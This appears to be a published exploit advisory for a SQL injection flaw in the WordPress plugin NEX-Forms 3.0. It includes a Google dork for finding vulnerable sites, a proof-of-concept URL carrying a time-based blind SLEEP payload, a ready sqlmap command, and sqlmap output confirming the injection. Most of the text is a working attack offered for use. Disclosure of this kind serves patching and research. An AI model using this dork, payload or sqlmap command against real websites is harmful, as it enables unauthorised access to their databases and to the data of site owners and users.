WordPress NEX-Forms 3.0 SQL Injection Vulnerability

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# Exploit Title : NEX-Forms 3.0 SQL Injection Vulnerability

# Exploit Author : Claudio Viviani

# Website Author: http://www.homelab.it
http://archive-exploit.homelab.it/1 (Full HomelabIT Vulns Archive)

# Vendor Homepage : https://wordpress.org/plugins/nex-forms-express-wp-form-builder/

# Software Link : https://downloads.wordpress.org/plugin/nex-forms-express-wp-form-builder.3.0.zip

# Dork Google: inurl:nex-forms-express-wp-form-builder
# index of nex-forms-express-wp-form-builder

# Date : 2015-03-29

# Tested on : Windows 7 / Mozilla Firefox
# Linux / Mozilla Firefox

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# Info:

The “submit_nex_form” ajax function is affected from SQL Injection vulnerability

“nex_forms_Id” var is not sanitized

# PoC Exploit:

http://TARGET/wordpress/wp-admin/admin-ajax.php?action=submit_nex_form&nex_forms_Id=10 AND (SELECT * FROM (SELECT(SLEEP(10)))NdbE)

# Poc Video:

http://youtu.be/04G08Cbrx1I

# PoC sqlmap:

sqlmap -u “http://TARGET/wordpress/wp-admin/admin-ajax.php?action=submit_nex_form&nex_forms_Id=10” -p nex_forms_Id –dbms mysql

[23:15:37] [INFO] testing ‘MySQL >= 5.0.12 AND time-based blind (SELECT)’
[23:15:48] [INFO] GET parameter ‘nex_forms_Id’ seems to be ‘MySQL >= 5.0.12 AND time-based blind (SELECT)’ injectable
for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values? [Y/n]
[23:15:55] [INFO] testing ‘Generic UNION query (NULL) – 1 to 20 columns’
[23:15:55] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[23:16:01] [INFO] testing ‘MySQL UNION query (NULL) – 1 to 20 columns’
[23:16:07] [INFO] checking if the injection point on GET parameter ‘nex_forms_Id’ is a false positive
GET parameter ‘nex_forms_Id’ is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 85 HTTP(s) requests:

Parameter: nex_forms_Id (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: action=submit_nex_form&nex_forms_Id=10 AND (SELECT * FROM (SELECT(SLEEP(5)))NdbE)

[23:16:34] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5.10
web application technology: PHP 5.3.3, Apache 2.2.3
back-end DBMS: MySQL 5.0.12

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